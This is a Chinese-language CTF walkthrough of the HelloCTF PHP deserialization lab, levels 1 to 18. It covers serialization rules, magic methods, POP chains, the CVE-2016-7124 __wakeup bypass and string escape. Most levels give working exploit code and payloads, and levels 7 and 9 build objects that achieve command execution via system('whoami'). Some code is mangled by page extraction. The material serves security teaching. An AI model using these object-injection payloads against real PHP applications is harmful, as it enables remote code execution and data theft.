# Level-1 : 类的实例化
这一关考的是类的实例化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php class FLAG { public $flag_string = "HelloCTF{????}" ; function __construct ( ) { echo $this ->flag_string; } } $code = $_POST ['code' ];eval ($code );
直接 POST code=$a=new FLAG();就行了
Level-2 : 对象中值的传递 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php error_reporting (0 ); $flag_string = "HelloCTF{????}" ; class FLAG { public $free_flag = "???" ; function get_free_flag ( ) { echo $this ->free_flag; } } $target = new FLAG ();$code = $_POST ['code' ];if (isset ($code )){ eval ($code ); $target ->get_free_flag (); } else { highlight_file ('source' ); }
进行赋值操作,我们需要把 $free_flag 里的东西用 $flag_string 进行赋值,这样才能, $target->get_free_flag() ,即输出 flag。
赋值操作即:POST code=$target->free_flag=$flag_string;
Level-3 : 对象中值的权限 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 <?php class FLAG { public $public_flag = "HelloCTF{?" ; protected $protected_flag = "?" ; private $private_flag = "?}" ; function get_protected_flag ( ) { return $this ->protected_flag; } function get_private_flag ( ) { return $this ->private_flag; } } class SubFLAG extends FLAG { function show_protected_flag ( ) { return $this ->protected_flag; } function show_private_flag ( ) { return $this ->private_flag; } } $target = new FLAG ();$sub_target = new SubFLAG ();$code = $_POST ['code' ];if (isset ($code )){ eval ($code ); } else { highlight_file (__FILE__ ); echo "Trying to get FLAG...<br>" ; echo "Public Flag: " .$target ->public_flag."<br>" ; echo "Protected Flag:" .$target ->protected_flag ."<br>" ; echo "Private Flag:" .$target ->private_flag ."<br>" ; } ?>
public(公有): 公有的类成员可以在任何地方被访问。protected(受保护): 受保护的类成员则可以被其自身以及其子类和父类访问。(可继承)。private(私有): 私有的类成员则只能被其定义所在的类访问。(不可继承)
所以我们需要直接调用 FLAG 里的获取类的成员的函数即 get_protected_flag()、get_private_flag()就行了,playload 如下:
1 code=echo $target->public_flag.$target->get_protected_flag().$target->get_private_flag();
Level-4 : 序列化 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php class FLAG3 { private $flag3_object_array = array ("?" ,"?" ); } class FLAG { private $flag1_string = "?" ; private $flag2_number = '?' ; private $flag3_object ; function __construct ( ) { $this ->flag3_object = new FLAG3 (); } } $flag_is_here = new FLAG ();$code = $_POST ['code' ];if (isset ($code )){ eval ($code ); } else { highlight_file (__FILE__ ); }
序列化一下就行了,可以直接将私有化的东西输出
Level-5 : 序列化规则 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 <?php class a_class { public $a_value = "HelloCTF" ; } $a_object = new a_class ();$a_array = array (a=>"Hello" ,b=>"CTF" );$a_string = "HelloCTF" ;$a_number = 678470 ;$a_boolean = true ;$a_null = null ;<?php $your_object = unserialize ($_POST ['o' ]);$your_array = unserialize ($_POST ['a' ]);$your_string = unserialize ($_POST ['s' ]);$your_number = unserialize ($_POST ['i' ]);$your_boolean = unserialize ($_POST ['b' ]);$your_NULL = unserialize ($_POST ['n' ]);if ( $your_boolean && $your_NULL == null && $your_string == "IWANT" && $your_number == 1 && $your_object ->a_value == "FLAG" && $your_array ['a' ] == "Plz" && $your_array ['b' ] == "Give_M3" ){ echo $flag ; } else { echo "You really know how to serialize?" ; }
就是简单介绍了序列化与反序列化的样子,exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class a_class { public $a_value = "FLAG" ; } $your_boolean = true ;$your_NULL = null ;$your_string = "IWANT" ;$your_number = 1 ;$your_array = array ('a' => "Plz" , 'b' => "Give_M3" );$exp = "o=" .serialize (new a_class ())."&s=" .serialize ($your_string )."&a=" .serialize ($your_array )."&i=" .serialize ($your_number )."&b=" .serialize ($your_boolean )."&n=" .serialize ($your_NULL );echo $exp ;
Level-6 : 序列化规则_权限修饰 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <?php class protectedKEY { protected $protected_key ; function get_key ( ) { return $this ->protected_key; } } class privateKEY { private $private_key ; function get_key ( ) { return $this ->private_key; } } <?php $protected_key = unserialize ($_POST ['protected_key' ]);$private_key = unserialize ($_POST ['private_key' ]);if (isset ($protected_key )&&isset ($private_key )){ if ($protected_key ->get_key () == "protected_key" && $private_key ->get_key () == "private_key" ){ echo $flag ; } else { echo "We Call it %00_Contr0l_Characters_NULL!" ; } } else { highlight_file (__FILE__ ); }
题目给了好几个%00
1 2 3 See Carfully~ protected's serialize: O%3A12%3A%22protectedKEY%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00protected_key%22%3BN%3B%7D private's serialize: O%3A10%3A%22privateKEY%22%3A1%3A%7Bs%3A23%3A%22%00privateKEY%00private_key%22%3BN%3B%7D
exp 就是直接在类中进行赋值就行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class protectedKEY { protected $protected_key = "protected_key" ; function get_key ( ) { return $this ->protected_key; } } class privateKEY { private $private_key = "private_key" ; function get_key ( ) { return $this ->private_key; } } echo serialize (new privateKEY ())."\n" .serialize (new protectedKEY ());
我们发现 exp 的运行结果中有几个不可见字符,这就是 %00,题目也说了“ We Call it %00_Contr0l_Characters_NULL! ”,%00 代表了这个不可见字符 NULL。 复制的时候并不会把这个不可见字符加进去,直接就是把 %00 去掉了,需要注意手动加上去!
playload:
1 2 private_key=O:10:"privateKEY":1:{s:23:"%00privateKEY%00private_key";s:11:"private_key";} &protected_key=O:12:"protectedKEY":1:{s:16:"%00*%00protected_key";s:13:"protected_key";}
Level-7 : 实例化和反序列化 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php class FLAG { public $flag_command = "echo 'Hello CTF!<br>';" ; function backdoor ( ) { eval ($this ->flag_command); } } $unserialize_string = 'O:4:"FLAG":1:{s:12:"flag_command";s:24:"echo ' Hello World!<br>';";}' ;$Instantiate_object = new FLAG (); $Unserialize_object = unserialize ($unserialize_string ); $Instantiate_object ->backdoor ();$Unserialize_object ->backdoor ();<?php unserialize ($_POST ['o' ])->backdoor ();
从给出的实例来看,本来类的代码是想要输出”Hello CTF!“,但是序列化的代码时想要输出“ Hello World!“。通过实验可以发现实例化的对象调用 backdoor() 函数时输出的是”Hello CTF!“,序列化的代码在经过反序列化后再调用 backdoor() 函数时确输出了“ Hello World!“这个不应该输出的字符串。题目中的 $unserialize_string 是固定的,如果是 user 可控的输入就可以进行 rce 了,这是非常可怕的。
1 2 3 4 5 6 <?php class FLAG { public $flag_command = "system('whoami');" ; } echo serialize (new FLAG ());
读取 flag
Level-8 : 构造函数和析构函数以及GC机制 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 <?php global $destruct_flag ;global $construct_flag ;$destruct_flag = 0 ;$construct_flag = 0 ;class FLAG { public $class_name ; public function __construct ($class_name ) { $this ->class_name = $class_name ; global $construct_flag ; $construct_flag ++; echo "Constructor called " . $construct_flag . "<br>" ; } public function __destruct ( ) { global $destruct_flag ; $destruct_flag ++; echo "Destructor called " . $destruct_flag . "<br>" ; } } $demo = new FLAG ('demo' ); $s = serialize ($demo );$n = unserialize ($s ); unset ($n );unset ($demo );new FLAG ();<?php class RELFLAG { public function __construct ( ) { global $flag ; $flag = 0 ; $flag ++; echo "Constructor called " . $flag . "<br>" ; } public function __destruct ( ) { global $flag ; $flag ++; echo "Destructor called " . $flag . "<br>" ; } } function check ( ) { global $flag ; if ($flag > 5 ){ echo "HelloCTF{???}" ; }else { echo "Check Detected flag is " . $flag ; } } if (isset ($_POST ['code' ])) { eval ($_POST ['code' ]); check (); }
serialize() 不会 调用构造或析构函数(除非类实现了 __sleep() 或 __wakeup()),unserialize() 在创建对象时 不会调用构造函数 __construct,$n 是反序列化出来的对象,现在没有其它引用了,被销毁时会立即触发析构函数 __destruct。
总的来说,构造函数只在 new 时调用(序列化、反序列化不触发),析构函数在销毁对象时总会调用(无论对象是 new 的还是 unserialize 的)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 Now Your Turn!, Try to get the flag! <?php class RELFLAG { public function __construct ( ) { global $flag ; $flag = 0 ; $flag ++; echo "Constructor called " . $flag . "<br>" ; } public function __destruct ( ) { global $flag ; $flag ++; echo "Destructor called " . $flag . "<br>" ; } } function check ( ) { global $flag ; if ($flag > 5 ){ echo "HelloCTF{???}" ; }else { echo "Check Detected flag is " . $flag ; } } if (isset ($_POST ['code' ])) { eval ($_POST ['code' ]); check (); }
分析这个代码构造函数被调用时 $flag 强制清零再 +1,但是调用析构函数时 $flag 只是 +1 不会清零。因为序列化反序列化构造的对象时,不会调用构造函数,但是调用析构函数,所以序列化和反序列化几次就行了。
这个 playload 只有第一次 new 的时候调用一次构造函数,之后全是析构函数:
1 unserialize (serialize (unserialize (serialize (unserialize (serialize (unserialize (serialize (new RELFLAG ()))))))));
1 次 new ,4 次序列化和反序列化,1 次脚本结束,正好 6 次
Level-9 : 构造函数的后门 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php class FLAG { var $flag_command = "echo 'HelloCTF';" ; public function __destruct ( ) { eval ($this ->flag_command); } } unserialize ($_POST ['o' ]);
由于反序列化之后会调用析构函数,所以直接写 exp 就行了
1 2 3 4 5 6 <?php class FLAG { public $flag_command = "system('whoami');" ; } echo serialize (new FLAG ());
这就 rce 了
Level10 : weakup! 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php error_reporting (0 );class FLAG { function __wakeup ( ) { include 'flag.php' ; echo $flag ; } } if (isset ($_POST ['o' ])){ unserialize ($_POST ['o' ]); }else { highlight_file (__FILE__ ); } ?>
unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。
所以这道题的解题思路是直接就是序列化 Flag 这个类,之后进行反序列化触发 __wakeup 魔术方法就行了。
exp:
1 2 3 4 5 6 7 <?php class FLAG {}echo serialize (new Flag );?>
Level11 : Bypass weakup! 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php error_reporting (0 );include 'flag.php' ;class FLAG { public $flag = "FAKEFLAG" ; public function __wakeup ( ) { global $flag ; $flag = NULL ; } public function __destruct ( ) { global $flag ; if ($flag !== NULL ) { echo $flag ; }else { echo "sorry,flag is gone!" ; } } } if (isset ($_POST ['o' ])){ unserialize ($_POST ['o' ]); }else { highlight_file (__FILE__ ); phpinfo (); } ?>
前提: CVE-2016-7124 - PHP5 < 5.6.25 / PHP7 < 7.0.10
在该漏洞中,当序列化字符串中对象属性的值大于真实属性值时便会跳过__wakeup的执行。
exp:
1 2 3 4 5 6 7 8 9 10 <?php class FLAG { public $flag = "REALFLAG" ; } echo serialize (new FLAG ()); ?>
之后把 O:4:”FLAG”:1 :{s:4:”flag”;s:8:”REALFLAG”;} 中的“ 1 ”改成比 1 大的数就行了
Level12 : sleep! 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 <?php class FLAG { private $f ; private $l ; protected $a ; public $g ; public $x ,$y ,$z ; public function __sleep ( ) { return ['x' ,'y' ,'z' ]; } } class CHALLENGE extends FLAG { public $h ,$e ,$l ,$I ,$o ,$c ,$t ,$f ; function chance ( ) { return $_GET ['chance' ]; } public function __sleep ( ) { $array_list = ['h' ,'e' ,'l' ,'I' ,'o' ,'c' ,'t' ,'f' ,'f' ,'l' ,'a' ,'g' ]; $_ =array_rand ($array_list );$__ =array_rand ($array_list ); return array ($array_list [$_ ],$array_list [$__ ],$this ->chance ()); } } $FLAG = new FLAG ();echo serialize ($FLAG );echo serialize (new CHALLENGE ());
serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。
解题的话直接用 chance 依次输入 ‘h’,’e’,’l’,’I’,’o’,’c’,’t’,’f’,’f’,’l’,’a’,’g’ 拼接就行了。注意,想要访问父类的 \0FLAG\0f,即%00FLAG%00a 进行 get 传参
1 2 3 4 5 6 7 8 9 10 11 12 13 h: HelloCTF{ e: Th3_ l: __sleep_function_ I: _is_ o: called_ c: before_ t: serialization_ f: t0_ f: clean_ l: up_ a: 4nd_ g: select_variab1es} HelloCTF{Th3___sleep_function__is_called_before_serialization_t0_clean_up_4nd_select_variab1es}
Level13 : __toString() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php /* --- HelloCTF - 反序列化靶场 关卡 13 __toString() --- __toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。 # -*- coding: utf-8 -*- # @Author: 探姬(@ProbiusOfficial) # @Date: 2024-07-01 20:30 # @Repo: github.com/ProbiusOfficial/PHPSerialize-labs # @email: admin@hello-ctf.com # @link: hello-ctf.com */ class FLAG { function __toString() { echo "I'm a string ~~~"; include 'flag.php'; return $flag; } } $obj = new FLAG(); if(isset($_POST['o'])) { eval($_POST['o']); } else { highlight_file(__FILE__); }
__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。
题解就直接输出$obj 就行了即 o=echo $obj;
Level14 : __invoke() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php /* --- HelloCTF - 反序列化靶场 关卡 14 : __invoke() --- 当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。例如 $obj()。 # -*- coding: utf-8 -*- # @Author: 探姬(@ProbiusOfficial) # @Date: 2024-07-01 20:30 # @Repo: github.com/ProbiusOfficial/PHPSerialize-labs # @email: admin@hello-ctf.com # @link: hello-ctf.com */ class FLAG{ function __invoke($x) { if ($x == 'get_flag') { include 'flag.php'; echo $flag; } } } $obj = new FLAG(); if(isset($_POST['o'])) { eval($_POST['o']); } else { highlight_file(__FILE__); }
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。例如 $obj()。
这道题记得传参,即形参传“ get_flag ”给 $x
Level15 : POP链初步 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 <?php class A { public $a ; public function __construct ($a ) { $this ->a = $a ; } } class B { public $b ; public function __construct ($b ) { $this ->b = $b ; } } class C { public $c ; public function __construct ($c ) { $this ->c = $c ; } } class D { public $d ; public function __construct ($d ) { $this ->d = $d ; } public function __wakeUp ( ) { $this ->d->action (); } } class destnation { var $cmd ; public function __construct ($cmd ) { $this ->cmd = $cmd ; } public function action ( ) { eval ($this ->cmd->a->b->c); } } if (isset ($_POST ['o' ])) { unserialize ($_POST ['o' ]); } else { highlight_file (__FILE__ ); }
exp:链子 D->destnation->A->B->C
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php class A { public $a ; } class B { public $b ; } class C { public $c = "echo file_get_contents('flag.php');" ; } class D { public $d ; } class destnation { var $cmd ; } $a = new D ();$a ->d = new destnation ();$a ->d->cmd = new A ();$a ->d->cmd->a = new B ();$a ->d->cmd->a->b = new C ();echo serialize ($a );
没有输出,源代码里找
Level16 : zePOP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <?php class A { public $a ; public function __invoke ( ) { include $this ->a; return $flag ; } } class B { public $b ; public function __toString ( ) { $f = $this ->b; return $f (); } } class INIT { public $name ; public function __wakeUp ( ) { echo $this ->name.' is awake!' ; } } if (isset ($_POST ['o' ])) { unserialize ($_POST ['o' ]); } else { highlight_file (__FILE__ ); }
链子很明显了,先反序列化触发 __wakeup,__wakeup()又触发 __toString(),__toString() 又 return $f(),触发__invoke()。链子是 INIT->B->A
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class A { public $a = "flag.php" ; } class B { public $b ; } class INIT { public $name ; } $a = new INIT ();$a ->name = new B ();$a ->name->b = new A ();echo serialize ($a );
Level17 : 字符串逃逸基础 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php class A {} echo "Class A is NULL: '" .serialize (new A ())."'<br>" ;class B { public $a = "Hello" ; protected $b = "CTF" ; private $c = "FLAG{TEST}" ; } echo "Class B is a class with 3 properties: '" .serialize (new B ())."'<br>" ;$serliseString = serialize (new B ());$serliseString = str_replace ('B' , 'A' , $serliseString );echo "After replace B with A,we unserialize it and dump :<br>" ;var_dump (unserialize ($serliseString ));if (isset ($_POST ['o' ])) { $a = unserialize ($_POST ['o' ]); if ($a instanceof A && $a ->helloctfcmd == "get_flag" ) { include 'flag.php' ; echo $flag ; } else { echo "what's rule?" ; } } else { highlight_file (__FILE__ ); }
题目给的示例是直接将序列化的 O:1:” B “:3:{s:1:”a”;s:5:”Hello”;s:4:”*b”;s:3:”CTF”;s:4:”Bc”;s:10:”FLAG{TEST}”;} 中的 B 改成 A,之后 var_dump 的类里面的东西直接就是 A 中的实例了。
instanceof 用于确定一个 PHP 变量是否属于某一类class的实例。
那给出的挑战的判断是:如果反序列化后的对象是A的实例,并且具有属性helloctfcmd且值为”get_flag”,则输出flag。
所以直接实例化一个含有$helloctfcmd = “get_flag”的 类A 就行了, exp:
1 2 3 4 5 6 7 8 <?php class A { public $helloctfcmd = "get_flag" ; } $exp = new A ();Aecho urlencode (serialize ($exp ));
Level18 : 字符串逃逸基础 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php highlight_file (__FILE__ );class Demo { public $a = "Hello" ; public $b = "CTF" ; public $key = 'GET_FLAG";}FAKE_FLAG' ; } class FLAG {} $serliseStringDemo = serialize (new Demo ());$target = $_GET ['target' ];$change = $_GET ['change' ];$serliseStringFLAG = str_replace ($target , $change , $serliseStringDemo );$FLAG = unserialize ($serliseStringFLAG );if ($FLAG instanceof FLAG && $FLAG ->key == 'GET_FLAG' ) { echo $flag ; }
序列化和反序列化的规则特性,字符串尾部判定:进行反序列化时,当成员属性的数量,名称长度,内容长度均一致时,程序会以 “;}” 作为字符串的结尾判定。
题目要求我们对 Demo 的序列化之后的字符串进行修改,看看 if 的要求 $FLAG 在 FLAG 类里面,并且 $FLAG->key == ‘GET_FLAG’。不难发现 Demo 类里面的 $key 的值是 ”GET_FLAG”;}FAKE_FLAG“,结合提示,我们需要让 $key 里面的“ ;} ”作为序列化的结束标志。因此修改 Demo 为 FLAG 以及修改$key 的长度从 20 到 8 即可满足要求。
O:4:“Demo” :3:{s:1:”a”;s:5:”Hello”;s:1:”b”;s:3:”CTF”;s:3:”key”;s:20 :”GET_FLAG”;}FAKE_FLAG”;}
变为
O:4:“FLAG” :3:{s:1:”a”;s:5:”Hello”;s:1:”b”;s:3:”CTF”;s:3:”key”;s:8 :”GET_FLAG”;}FAKE_FLAG”;}
即满足要求
playload:
1 2 ?target=O:4 :"Demo" :3 :{s:1 :"a" ;s:5 :"Hello" ;s:1 :"b" ;s:3 :"CTF" ;s:3 :"key" ;s:20 :"GET_FLAG" ;}FAKE_FLAG";} &change=O:4:" FLAG":3:{s:1:" a";s:5:" Hello";s:1:" b";s:3:" CTF";s:3:" key";s:8:" GET_FLAG";}FAKE_FLAG" ;}